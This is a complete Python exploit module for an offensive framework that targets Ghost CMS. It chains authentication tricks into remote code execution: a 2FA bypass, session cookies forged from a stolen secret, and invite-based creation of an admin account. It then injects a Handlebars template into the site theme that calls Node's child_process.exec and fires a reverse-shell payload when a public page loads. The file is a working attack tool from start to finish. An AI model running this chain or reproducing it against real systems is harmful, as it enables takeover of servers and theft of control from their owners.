Ghost CMS Remote Code Execution (CVE-2026-29053)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""CVE-2026-29053 — Ghost CMS malicious theme Handlebars SSTI to Node.js RCE."""

from __future__ import annotations

import base64
import hashlib
import hmac
import io
import json
import random
import re
import secrets
import string
import time
import zipfile
from typing import Any, Dict, Optional, Tuple
from urllib.parse import quote, urlparse

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.scanner.http.response_validation import parse_json_response

try:
    import jwt as pyjwt
except ImportError:
    pyjwt = None

GHOST_VULN_MIN = (0, 7, 2)
GHOST_VULN_MAX = (6, 19, 0)
GHOST_2FA_BYPASS_RANGES = (
    ((5, 105, 0), (5, 130, 5)),
    ((6, 0, 0), (6, 10, 3)),
)

VECTORS = {
    "tag": {
        "template_name": "tag-{{SLUG}}.hbs",
        "creator": "create_post",
        "trigger": "get_tag",
        "cleaner": "delete_post",
    },
    "page": {
        "template_name": "page-{{SLUG}}.hbs",
        "creator": "create_page",
        "trigger": "get_page",
        "cleaner": "delete_page",
    },
    "author": {
        "template_name": "author-{{SLUG}}.hbs",
        "creator": "pick_random_author",
        "trigger": "get_author_by_slug",
        "cleaner": None,
    },
}


class Module(Exploit, Http_client):
    __info__ = {
        "name": "Ghost CMS Remote Code Execution (CVE-2026-29053)",
        "description": (
            "Exploits CVE-2026-29053 in Ghost CMS 0.7.2–6.19.0: a malicious theme "
            "template abuses Handlebars {{#get}} filter parsing to reach Node.js "
            "child_process.exec. Requires Ghost Admin access (password, API key, "
            "session cookie, session secret, or invite flow). Versions 5.105.0–5.130.5 "
            "and 6.0.0–6.10.3 also support staff 2FA bypass (CVE-2026-22594) during login."
        ),
        "author": ["Maksim Rogov", "Cristian-Alexandru Staicu", "KittySploit Team"],
        "cve": ["CVE-2026-29053", "CVE-2026-22594"],
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2026-29053",
            "https://www.endorlabs.com/learn/rce-in-ghost-cms-ghsa-cgc2-rcrh-qr5x",
        ],
        "platform": Platform.MULTI,
        "arch": [Arch.CMD],
        "category": PayloadCategory.CMD,
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": [Platform.UNIX, Platform.LINUX, Platform.WINDOWS, Platform.MULTI],
            "category": PayloadCategory.CMD,
        },
        "optional_dependencies": ["PyJWT"],
        "tags": [
            "ghost",
            "ghost-cms",
            "cms",
            "nodejs",
            "handlebars",
            "theme",
            "authenticated",
            "rce",
            "cve-2026-29053",
            "cve-2026-22594",
        ],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 15,
            "reversible": True,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals", "rce"],
            "cost": 2.0,
            "noise": 0.7,
            "value": 1.0,
            "requires": {
                "tech_hints_any": ["ghost"],
                "endpoint_pattern_any": ["/ghost/api/admin/"],
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": "malicious Ghost theme SSTI"},
                    {"capability": "shell", "from_detail": "framework reverse_tcp session"},
                ],
                "suggested_followups": [
                    "scanner/http/ghost_detect",
                    "scanner/http/ghost_cve_2026_26980",
                ],
            },
        },
    }

    port = OptPort(2368, "Ghost HTTP port (default 2368)", True)
    ssl = OptBool(False, "Use HTTPS", True, advanced=True)
    email = OptString("", "Email for login or admin invitation recipient", False)
    password = OptString("", "Password for EMAIL (not needed for API invite flow)", False)
    totp_code = OptString("", "6-digit 2FA verification code (TOTP flow)", False)
    invite_link = OptString("", "Full invitation activation link from email", False)
    admin_api_key_id = OptString("", "Admin API key ID", False)
    admin_api_secret = OptString("", "Admin API key secret (hex)", False)
    ghost_admin_api_session = OptString("", "ghost-admin-api-session cookie value", False)
    admin_session_secret = OptString("", "Database session secret to sign admin cookies", False)
    admin_session_id = OptString("", "Plain session ID to sign with ADMIN_SESSION_SECRET", False)
    delay = OptInteger(
        60,
        "Seconds before resetting execution lock (prevents repeated payload fire)",
        False,
        advanced=True,
    )
    action = OptEnum(
        ["PASSWORD", "SESSION_SECRET", "API_KEY", "COOKIE", "INVITE"],
        "Authentication method",
        True,
    )
    vector = OptEnum(
        ["auto", "tag", "page", "author"],
        "Exploit vector (auto picks randomly)",
        False,
        advanced=True,
    )
    cleanup_artifacts = OptBool(True, "Revert theme and remove injected content after exploit", False)

    def __init__(self, framework=None):
        super().__init__(framework)
        self._version: str = ""
        self._jwt_token: Optional[str] = None
        self._ghost_admin_api_session: Optional[str] = None
        self._default_theme: Optional[str] = None
        self._malicious_theme_name: Optional[str] = None
        self._vector_key: Optional[str] = None
        self._trigger_slug: Optional[str] = None
        self._content_id: Optional[str] = None
        self._invite_id: Optional[str] = None
        self._account_created = False
        self._temp_password: Optional[str] = None

    def _timeout(self) -> int:
        return max(int(self.timeout or 15), 10)

    def _base_path(self) -> str:
        val = str(getattr(self, "path", "/") or "/").strip() or "/"
        if not val.startswith("/"):
            val = f"/{val}"
        return val.rstrip("/") or ""

    def _api_path(self, endpoint: str) -> str:
        base = self._base_path()
        endpoint = str(endpoint or "").lstrip("/")
        suffix = f"/ghost/api/admin/{endpoint}"
        return f"{base}{suffix}" if base else suffix

    def _public_path(self, suffix: str) -> str:
        base = self._base_path()
        suffix = str(suffix or "").strip()
        if not suffix.startswith("/"):
            suffix = f"/{suffix}"
        return f"{base}{suffix}" if base else suffix

    def _origin(self) -> str:
        scheme = "https" if self._to_bool(getattr(self, "ssl", False)) else "http"
        target = str(getattr(self, "target", "") or "").strip()
        port = int(getattr(self, "port", 2368) or 2368)
        host = target.split("://")[-1].split("/")[0].split(":")[0] if "://" in target else target
        if not host:
            host = target or "127.0.0.1"
        default_port = 443 if scheme == "https" else 80
        if (scheme == "https" and port == 443) or (scheme == "http" and port == 80):
            return f"{scheme}://{host}"
        return f"{scheme}://{host}:{port}"

    @staticmethod
    def _version_tuple(value: str) -> Optional[Tuple[int, ...]]:
        parts: list[int] = []
        for token in re.sub(r"[^\d.]", "", str(value or "")).split("."):
            if not token:
                continue
            parts.append(int(token))
        return tuple(parts) if parts else None

    @classmethod
    def _between(cls, version: str, low: Tuple[int, ...], high: Tuple[int, ...]) -> bool:
        parsed = cls._version_tuple(version)
        if not parsed:
            return False
        return low <= parsed <= high

    @classmethod
    def _is_vulnerable_version(cls, version: str) -> Optional[bool]:
        parsed = cls._version_tuple(version)
        if not parsed:
            return None
        return GHOST_VULN_MIN <= parsed <= GHOST_VULN_MAX

    @classmethod
    def _supports_2fa_bypass(cls, version: str) -> bool:
        for low, high in GHOST_2FA_BYPASS_RANGES:
            if cls._between(version, low, high):
                return True
        return False

    def _resolve_command(self) -> str:
        payload = self.payload
        if isinstance(payload, bytes):
            payload = payload.decode("utf-8", errors="replace")
        command = str(payload or "").strip()
        if not command:
            raise ValueError("No payload configured — set payloads/singles/cmd/unix/bash_reverse_tcp")
        return command

    def _admin_headers(self, content_type: str = "application/json") -> Dict[str, str]:
        headers = {
            "Accept": "application/json",
            "Origin": self._origin(),
        }
        if content_type:
            headers["Content-Type"] = content_type
        if self._jwt_token:
            headers["Authorization"] = f"Ghost {self._jwt_token}"
        if self._ghost_admin_api_session:
            headers["Cookie"] = f"ghost-admin-api-session={self._ghost_admin_api_session}"
        return headers

    def _ghost_request(
        self,
        method: str,
        endpoint: str,
        *,
        data: Any = None,
        params: Optional[Dict[str, str]] = None,
        content_type: str = "application/json",
        files: Any = None,
        raw_data: Any = None,
    ):
        headers = self._admin_headers(content_type if not files else None)
        path = self._api_path(endpoint)
        if params:
            query = "&".join(f"{quote(str(k), safe='')}={quote(str(v), safe='')}" for k, v in params.items())
            path = f"{path}?{query}"

        body = raw_data
        if body is None and data is not None:
            body = json.dumps(data) if content_type == "application/json" and isinstance(data, (dict, list)) else data

        response = self.http_request(
            method=method,
            path=path,
            headers=headers,
            data=body,
            files=files,
            timeout=self._timeout(),
            allow_redirects=False,
        )
        if response is None:
            print_error(f"Connection failed during {method} {endpoint}")
            return None

        if int(response.status_code or 0) >= 400:
            doc, _ = parse_json_response(response)
            if isinstance(doc, dict):
                errors = doc.get("errors") or []
                if errors and isinstance(errors[0], dict):
                    ctx = errors[0].get("context") or errors[0].get("message")
                    if ctx:
                        print_error(f"Ghost error ({response.status_code}): {ctx}")
        return response

    @staticmethod
    def _json_body(response) -> Any:
        if not response:
            return None
        doc, _ = parse_json_response(response)
        return doc

    def _save_session_cookie(self, response) -> None:
        if not response:
            return
        raw = response.headers.get("Set-Cookie") or ""
        if not raw and hasattr(response, "cookies"):
            val = response.cookies.get("ghost-admin-api-session")
            if val:
                self._ghost_admin_api_session = str(val)
                return
        match = re.search(r"ghost-admin-api-session=([^;,\s]+)", raw)
        if match:
            self._ghost_admin_api_session = match.group(1)

    def _get_config(self) -> Optional[dict]:
        response = self._ghost_request("GET", "config/")
        doc = self._json_body(response)
        if isinstance(doc, dict):
            return doc.get("config")
        return None

    def create_post(self, title: str, slug: str, tags=None) -> Optional[str]:
        tag_list = tags if tags is not None else [slug]
        response = self._ghost_request(
            "POST",
            "posts/",
            data={
                "posts": [
                    {
                        "title": title,
                        "slug": slug,
                        "tags": [{"name": t} if isinstance(t, str) else t for t in tag_list],
                        "status": "published",
                        "visibility": "public",
                    }
                ]
            },
        )
        doc = self._json_body(response)
        if isinstance(doc, dict):
            posts = doc.get("posts") or []
            if posts:
                return posts[0].get("id")
        return None

    def create_page(self, title: str, slug: str, *_args) -> Optional[str]:
        response = self._ghost_request(
            "POST",
            "pages/",
            data={
                "pages": [
                    {
                        "title": title,
                        "slug": slug,
                        "status": "published",
                        "visibility": "public",
                    }
                ]
            },
        )
        doc = self._json_body(response)
        if isinstance(doc, dict):
            pages = doc.get("pages") or []
            if pages:
                return pages[0].get("id")
        return None

    def delete_post(self, post_id: str) -> bool:
        response = self._ghost_request("DELETE", f"posts/{post_id}/")
        return bool(response and int(response.status_code or 0) == 204)

    def delete_page(self, page_id: str) -> bool:
        response = self._ghost_request("DELETE", f"pages/{page_id}/")
        return bool(response and int(response.status_code or 0) == 204)

    def delete_invite(self, invite_id: str) -> bool:
        response = self._ghost_request("DELETE", f"invites/{invite_id}/")
        return bool(response and int(response.status_code or 0) == 204)

    def get_users(self, include: Optional[str] = None):
        params = {"include": include} if include else None
        response = self._ghost_request("GET", "users/", params=params)
        doc = self._json_body(response)
        if isinstance(doc, dict):
            return doc.get("users") or []
        return []

    def get_roles(self):
        response = self._ghost_request("GET", "roles/")
        doc = self._json_body(response)
        if isinstance(doc, dict):
            return doc.get("roles") or []
        return []

    def get_active_theme(self) -> Optional[dict]:
        response = self._ghost_request("GET", "themes/active/")
        doc = self._json_body(response)
        if isinstance(doc, dict):
            themes = doc.get("themes") or []
            if themes:
                return themes[0]
        return None

    def download_theme(self, name: str) -> Optional[bytes]:
        response = self._ghost_request("GET", f"themes/{name}/download/", content_type="")
        if response and int(response.status_code or 0) == 200:
            return response.content
        return None

    def upload_theme(self, theme_name: str, zip_binary: bytes) -> bool:
        files = {"file": (f"{theme_name}.zip", io.BytesIO(zip_binary), "application/zip")}
        response = self._ghost_request(
            "POST",
            "themes/upload/",
            files=files,
            content_type="",
        )
        if not response:
            print_error("Theme upload failed: no response")
            return False
        doc = self._json_body(response)
        errors = doc.get("errors") if isinstance(doc, dict) else None
        if errors:
            messages = []
            for err in errors:
                if isinstance(err, dict):
                    messages.append(str(err.get("message") or err))
                else:
                    messages.append(str(err))
            print_error(f"Theme upload failed: {', '.join(messages)}")
            return False
        if not (200 <= int(response.status_code or 0) <= 299):
            print_error(f"Theme upload failed (HTTP {response.status_code})")
            return False
        return True

    def activate_theme(self, theme_name: str) -> bool:
        response = self._ghost_request("PUT", f"themes/{theme_name}/activate/")
        return bool(response and int(response.status_code or 0) == 200)

    def delete_theme(self, theme_name: str) -> bool:
        response = self._ghost_request("DELETE", f"themes/{theme_name}/")
        return bool(response and int(response.status_code or 0) == 204)

    def _rand_slug(self, min_len: int = 4, max_len: int = 16) -> str:
        length = secrets.randbelow(max_len - min_len + 1) + min_len
        return "".join(secrets.choice(string.ascii_lowercase) for _ in range(length))

    def _malicious_template(self, command: str) -> str:
        delay_ms = max(0, int(self.delay or 60)) * 1000
        resource = random.choice(["posts", "pages", "tags", "authors", "tiers"])
        filt = random.choice(["id", "name", "slug"])
        lock_var = self._rand_slug(1, 16)
        js_bytes = ",".join(str(b) for b in command.encode("utf-8", errors="replace"))
        js_payload = (
            f"return global.{lock_var}?0:(global.{lock_var}=1,"
            f"process.mainModule.require('child_process').exec(String.fromCharCode({js_bytes}),"
            f"{{detached:1}},()=>setTimeout(()=>global.{lock_var}=0,{delay_ms})))"
        )
        js_payload = js_payload.replace("\\", "\\\\").replace('"', '\\"')
        return "\n".join(
            [
                "{{!< default}}",
                (
                    f'{{{{#get "{resource}" filter="{filt}:{{{{@site[?( '
                    f'({{__proto__:\\"\\".toString}})[\\"constructor\\"]'
                    f'(\\"{js_payload}\\")() )]}}}}" limit="1"}}'
                ),
                "{{/get}}",
            ]
        )

    def _inject_payload(self, zip_bytes: bytes, template_pattern: str, slug: str) -> bytes:
        target_filename = template_pattern.replace("{{SLUG}}", slug)
        payload_content = self._malicious_template(self._resolve_command())
        print_status(f"Injecting payload into theme template: {target_filename}")
        out = io.BytesIO()
        with zipfile.ZipFile(io.BytesIO(zip_bytes), "r") as src:
            with zipfile.ZipFile(out, "w", zipfile.ZIP_DEFLATED) as dst:
                for info in src.infolist():
                    dst.writestr(info, src.read(info.filename))
                dst.writestr(target_filename, payload_content.encode("utf-8"))
        return out.getvalue()

    def _build_minimal_theme_zip(self) -> bytes:
        buf = io.BytesIO()
        with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as zf:
            zf.writestr(
                "package.json",
                json.dumps(
                    {
                        "name": "ks-ghost-base",
                        "version": "1.0.0",
                        "engines": {"ghost": ">=5.0.0"},
                    }
                ),
            )
            zf.writestr(
                "default.hbs",
                "<!DOCTYPE html><html><head>{{ghost_head}}</head>"
                "<body>{{{body}}}{{ghost_foot}}</body></html>",
            )
            zf.writestr("index.hbs", '{{!< default}}{{#foreach posts}}<p>{{title}}</p>{{/foreach}}')
            zf.writestr("post.hbs", '{{!< default}}{{#post}}<h1>{{title}}</h1>{{/post}}')
        return buf.getvalue()

    def prepare_base_theme(self) -> Optional[bytes]:
        action = str(self.action or "PASSWORD").upper()
        if action == "API_KEY":
            print_status("Building minimal theme for JWT-based attack...")
            return self._build_minimal_theme_zip()

        active = self.get_active_theme()
        if not active:
            print_error("Could not retrieve active theme info")
            return None
        self._default_theme = active.get("name")
        if not self._default_theme:
            print_error("Active theme name missing from API response")
            return None
        print_status(f'Downloading active theme "{self._default_theme}" from server...')
        theme_data = self.download_theme(self._default_theme)
        if not theme_data:
            print_error(f"Failed to download theme: {self._default_theme}")
            return None
        return theme_data

    def pick_random_author(self, *_args) -> str:
        users = self.get_users(include="count.posts")
        if not users:
            raise RuntimeError("Could not retrieve any authors from Ghost")
        active = [u for u in users if int((u.get("count") or {}).get("posts") or 0) >= 1]
        pool = active or users
        slug = pool[secrets.randbelow(len(pool))].get("slug")
        if not slug:
            raise RuntimeError("Selected author has no slug")
        return str(slug)

    def get_author_by_slug(self, slug: str) -> bool:
        response = self.http_request(
            method="GET",
            path=self._public_path(f"author/{slug}/"),
            timeout=self._timeout(),
            allow_redirects=True,
        )
        if not response or int(response.status_code or 0) != 200:
            raise RuntimeError(f"Unexpected HTTP response triggering author page: {getattr(response, 'status_code', '?')}")
        return True

    def get_page(self, slug: str) -> bool:
        response = self.http_request(
            method="GET",
            path=self._public_path(f"{slug}/"),
            timeout=self._timeout(),
            allow_redirects=True,
        )
        if not response or int(response.status_code or 0) != 200:
            raise RuntimeError(f"Unexpected HTTP response triggering page: {getattr(response, 'status_code', '?')}")
        return True

    def get_tag(self, slug: str) -> bool:
        response = self.http_request(
            method="GET",
            path=self._public_path(f"tag/{slug}/"),
            timeout=self._timeout(),
            allow_redirects=True,
        )
        if not response or int(response.status_code or 0) != 200:
            raise RuntimeError(f"Unexpected HTTP response triggering tag page: {getattr(response, 'status_code', '?')}")
        return True

    def issue_jwt(self, key_id: str, secret_hex: str) -> str:
        if pyjwt is None:
            raise RuntimeError("PyJWT is required (pip install PyJWT)")
        now = int(time.time())
        payload = {"iat": now, "exp": now + 300, "aud": "/admin/"}
        secret_bytes = bytes.fromhex(secret_hex)
        token = pyjwt.encode(payload, secret_bytes, algorithm="HS256", headers={"kid": key_id})
        if isinstance(token, bytes):
            token = token.decode("utf-8")
        return token

    @staticmethod
    def sign_ghost_admin_session(secret: str, session_id: str) -> str:
        digest = hmac.new(secret.encode("utf-8"), session_id.encode("utf-8"), hashlib.sha256).digest()
        signature = base64.b64encode(digest).decode("ascii").rstrip("=")
        raw_cookie = f"s:{session_id}.{signature}"
        return quote(raw_cookie, safe="")

    def check_existing_session(self) -> bool:
        cookie = str(self.ghost_admin_api_session or "").strip()
        if not cookie:
            return False
        print_status("Validating GHOST_ADMIN_API_SESSION cookie...")
        self._ghost_admin_api_session = cookie
        if self._get_config():
            return True
        print_error("Session cookie invalid or 2FA verification required")
        self._ghost_admin_api_session = None
        return False

    def verify_totp_code(self) -> bool:
        code = str(self.totp_code or "").strip()
        if not re.fullmatch(r"\d{6}", code):
            raise RuntimeError("TOTP_CODE must be exactly 6 digits")
        cookie = str(self.ghost_admin_api_session or "").strip()
        if not cookie:
            raise RuntimeError("Missing ghost_admin_api_session cookie for TOTP verification")
        print_status(f"Submitting TOTP code: {code}")
        self._ghost_admin_api_session = cookie
        response = self._ghost_request("PUT", "session/verify", data={"token": code})
        if response and int(response.status_code or 0) in (200, 201):
            print_success("2FA verification successful")
            self._save_session_cookie(response)
            return True
        if response and int(response.status_code or 0) == 401:
            print_error("2FA verification failed — incorrect code")
            return False
        print_error(f"TOTP verification failed (HTTP {getattr(response, 'status_code', '?')})")
        return False

    def authenticate_with_password(self, email: str, password: str) -> bool:
        print_status(f"Authenticating via password (user: {email})...")
        payload: Dict[str, Any] = {"username": email, "password": password}
        if self._supports_2fa_bypass(self._version):
            print_status(
                f"Target version {self._version} vulnerable to 2FA bypass (CVE-2026-22594)"
            )
            payload["skipEmailVerification"] = True

        response = self._ghost_request("POST", "session", data=payload)
        if not response:
            print_error("No response during login")
            return False

        status = int(response.status_code or 0)
        body = response.text or ""
        if status in (200, 201):
            print_success("Session established via password")
            self._save_session_cookie(response)
            return True
        if status == 404:
            print_error("User not found or login endpoint missing")
            return False
        if "2FA_NEW_DEVICE_DETECTED" in body:
            self._save_session_cookie(response)
            raise RuntimeError(
                '2FA required — set totp_code to the 6-digit code and rerun with the saved session cookie'
            )
        print_error(f"Login failed (HTTP {status})")
        return False

    def do_login(self, email: str, password: str) -> bool:
        if self.check_existing_session():
            print_success("Valid active session detected — skipping login")
            return True
        if str(self.totp_code or "").strip():
            return self.verify_totp_code()
        return self.authenticate_with_password(email, password)

    def invite_user(self, email: str, role_name: str = "Administrator") -> Optional[str]:
        allowed = {"Administrator", "Editor", "Contributor", "Author"}
        if role_name not in allowed:
            raise RuntimeError(f"Invalid role: {role_name}")
        roles = self.get_roles()
        role_id = next((r.get("id") for r in roles if r.get("name") == role_name), None)
        if not role_id:
            raise RuntimeError(f"Role not found: {role_name}")
        response = self._ghost_request(
            "POST",
            "invites/",
            data={"invites": [{"role_id": role_id, "email": email}]},
        )
        if not response or int(response.status_code or 0) != 201:
            raise RuntimeError(f"Failed to send invitation to {email}")
        doc = self._json_body(response)
        if isinstance(doc, dict):
            invites = doc.get("invites") or []
            if invites:
                return invites[0].get("id")
        return None

    def activate_invite(self, token: str, name: str, email: str, password: str) -> bool:
        response = self._ghost_request(
            "POST",
            "authentication/invitation/",
            data={
                "invitation": [
                    {
                        "name": name,
                        "email": email,
                        "password": password,
                        "token": token,
                    }
                ]
            },
        )
        return bool(response and int(response.status_code or 0) == 200)

    def get_user_id(self, email: str) -> Optional[str]:
        for user in self.get_users():
            if user.get("email") == email:
                return user.get("id")
        return None

    def delete_user(self, email: str) -> bool:
        user_id = self.get_user_id(email)
        if not user_id:
            return False
        response = self._ghost_request("DELETE", f"users/{user_id}/")
        return bool(response and int(response.status_code or 0) == 200)

    def auth_with_invite(self) -> bool:
        if pyjwt is None:
            raise RuntimeError("PyJWT is required for INVITE flow (pip install PyJWT)")
        self._jwt_token = self.issue_jwt(
            str(self.admin_api_key_id or "").strip(),
            str(self.admin_api_secret or "").strip(),
        )
        email = str(self.email or "").strip()
        invite_link = str(self.invite_link or "").strip()
        if not invite_link:
            self._invite_id = self.invite_user(email)
            print_warning(f"Invitation sent to {email}")
            print_warning(
                'Copy the activation link from email and set invite_link, then rerun'
            )
            raise RuntimeError("Missing invite_link — set invite_link to the full activation URL")

        name = f"Ghost Admin {self.random_text(6)}"
        password = secrets.token_urlsafe(16)
        token = urlparse(invite_link).path.rstrip("/").split("/")[-1]
        if self.activate_invite(token, name, email, password):
            print_success(f"Account activated: {email}")
            self._account_created = True
            self._temp_password = password
            self._invite_id = None
            return self.authenticate_with_password(email, password)
        return False

    def auth_with_jwt(self) -> bool:
        if pyjwt is None:
            raise RuntimeError("PyJWT is required for API_KEY flow (pip install PyJWT)")
        self._jwt_token = self.issue_jwt(
            str(self.admin_api_key_id or "").strip(),
            str(self.admin_api_secret or "").strip(),
        )
        return bool(self._jwt_token)

    def auth(self) -> None:
        action = str(self.action or "PASSWORD").upper()
        required = {
            "PASSWORD": ["email", "password"],
            "API_KEY": ["admin_api_key_id", "admin_api_secret"],
            "INVITE": ["email", "admin_api_key_id", "admin_api_secret"],
            "SESSION_SECRET": ["admin_session_secret", "admin_session_id"],
            "COOKIE": ["ghost_admin_api_session"],
        }.get(action)
        if not required:
            raise RuntimeError(f"Invalid action: {action}")

        missing = [opt for opt in required if not str(getattr(self, opt, "") or "").strip()]
        if missing:
            raise RuntimeError(
                f'Authentication via "{action}" requires: {", ".join(required)} '
                f"(missing: {', '.join(missing)})"
            )

        success = False
        if action == "PASSWORD":
            success = self.do_login(str(self.email).strip(), str(self.password).strip())
        elif action == "API_KEY":
            print_status("Authenticating via Admin API key (JWT)...")
            success = self.auth_with_jwt()
        elif action == "INVITE":
            print_status("Authenticating via invitation flow...")
            success = self.auth_with_invite()
        elif action == "SESSION_SECRET":
            print_status("Signing ghost-admin-api-session cookie...")
            self._ghost_admin_api_session = self.sign_ghost_admin_session(
                str(self.admin_session_secret).strip(),
                str(self.admin_session_id).strip(),
            )
            success = self._get_config() is not None
        elif action == "COOKIE":
            print_status("Authenticating via session cookie...")
            self._ghost_admin_api_session = str(self.ghost_admin_api_session).strip()
            success = self._get_config() is not None

        if success:
            print_success("Authentication successful")
        else:
            raise RuntimeError(f'Authentication failed for action "{action}"')

    def _detect_version(self) -> str:
        response = self.http_request(
            method="GET",
            path=self._public_path("/"),
            timeout=self._timeout(),
            allow_redirects=True,
        )
        if not response:
            return ""
        text = response.text or ""
        for pattern in (
            r'content="Ghost\s+([\d.]+)"',
            r'"version"\s*:\s*"([\d.]+)"',
            r"Ghost\s+([\d]+\.[\d]+\.[\d]+)",
        ):
            match = re.search(pattern, text, re.I)
            if match:
                return match.group(1)
        return ""

    def _pick_vector(self) -> Tuple[str, dict]:
        choice = str(self.vector or "auto").strip().lower()
        if choice == "auto":
            key = random.choice(list(VECTORS.keys()))
        elif choice in VECTORS:
            key = choice
        else:
            raise RuntimeError(f"Invalid vector: {choice}")
        return key, VECTORS[key]

    def _cleanup(self) -> None:
        if not bool(self.cleanup_artifacts):
            return

        if self._default_theme and self._malicious_theme_name:
            print_status("Reverting to default theme...")
            if self.activate_theme(self._default_theme):
                print_success(f"Restored theme: {self._default_theme}")
            else:
                print_error(f"Failed to restore theme: {self._default_theme}")
            print_status("Removing malicious theme...")
            if self.delete_theme(self._malicious_theme_name):
                print_success(f"Removed theme: {self._malicious_theme_name}")
            else:
                print_error(f"Failed to remove theme: {self._malicious_theme_name}")

        if self._content_id and self._vector_key:
            cleaner = VECTORS[self._vector_key].get("cleaner")
            if cleaner:
                print_status("Removing injected content...")
                ok = getattr(self, cleaner)(self._content_id)
                if ok:
                    print_success(f"Removed content ({self._vector_key}): {self._content_id}")
                else:
                    print_error(f"Failed to remove content: {self._content_id}")

        if self._invite_id:
            print_status("Removing pending invitation...")
            if self.delete_invite(self._invite_id):
                print_success("Invitation removed")
            else:
                print_error("Failed to delete invitation")

        if self._account_created:
            print_status("Removing temporary administrator account...")
            if self.auth_with_jwt() or self.do_login(str(self.email), str(self._temp_password or "")):
                if self.delete_user(str(self.email)):
                    print_success("Temporary account removed")
                else:
                    print_error("Failed to delete temporary account")
            else:
                print_error("Could not re-authenticate to delete temporary account")

    def check(self):
        self._version = self._detect_version()
        if not self._version:
            response = self.http_request(
                method="GET",
                path=self._public_path("/"),
                timeout=self._timeout(),
                allow_redirects=True,
            )
            if response and "ghost" in (response.text or "").lower():
                return {
                    "vulnerable": True,
                    "reason": "Ghost CMS detected; version unknown (0.7.2–6.19.0 potentially affected)",
                    "confidence": "medium",
                }
            return {
                "vulnerable": False,
                "reason": "Ghost generator meta tag not found",
                "confidence": "medium",
            }

        affected = self._is_vulnerable_version(self._version)
        if affected is True:
            return {
                "vulnerable": True,
                "reason": f"Ghost {self._version} is in affected range (0.7.2–6.19.0)",
                "confidence": "high",
                "version": self._version,
            }
        if affected is False:
            return {
                "vulnerable": False,
                "reason": f"Ghost {self._version} is outside affected range",
                "confidence": "high",
                "version": self._version,
            }
        return {
            "vulnerable": True,
            "reason": f"Ghost {self._version} detected; version mapping inconclusive",
            "confidence": "medium",
            "version": self._version,
        }

    def run(self):
        try:
            print_status("CVE-2026-29053 — Ghost CMS malicious theme RCE")
            print_status(f"Target: {self.target}:{self.port}")

            check = self.check()
            if not check.get("vulnerable"):
                print_error(check.get("reason", "Target does not appear vulnerable"))
                self.not_vulnerable()
                return False
            print_success(check.get("reason", "Target appears vulnerable"))

            self.auth()

            self._vector_key, vector = self._pick_vector()
            print_status(f"Using exploit vector: {self._vector_key}")

            if self._vector_key == "author":
                self._trigger_slug = self.pick_random_author()
            else:
                self._trigger_slug = self._rand_slug()
                creator = getattr(self, vector["creator"])
                self._content_id = creator(
                    self._trigger_slug,
                    self._trigger_slug,
                    [self._trigger_slug],
                )
                if not self._content_id:
                    print_error("Failed to create trigger content")
                    return False

            self._malicious_theme_name = self._rand_slug()
            base_theme = self.prepare_base_theme()
            if not base_theme:
                print_error("Could not prepare base theme archive")
                return False

            infected_zip = self._inject_payload(
                base_theme,
                vector["template_name"],
                self._trigger_slug,
            )
            print_status(f"Uploading malicious theme: {self._malicious_theme_name}")
            if not self.upload_theme(self._malicious_theme_name, infected_zip):
                return False
            if not self.activate_theme(self._malicious_theme_name):
                print_error("Failed to activate malicious theme")
                return False

            print_status("Triggering payload via public page render...")
            trigger = getattr(self, vector["trigger"])
            trigger(self._trigger_slug)

            print_success("Exploit chain completed — verify handler for reverse shell")
            self.vulnerable()
            return True
        except RuntimeError as exc:
            print_error(str(exc))
            return False
        except Exception as exc:
            print_error(f"Exploitation failed: {exc}")
            return False
        finally:
            try:
                self._cleanup()
            except Exception as exc:
                print_warning(f"Cleanup error: {exc}")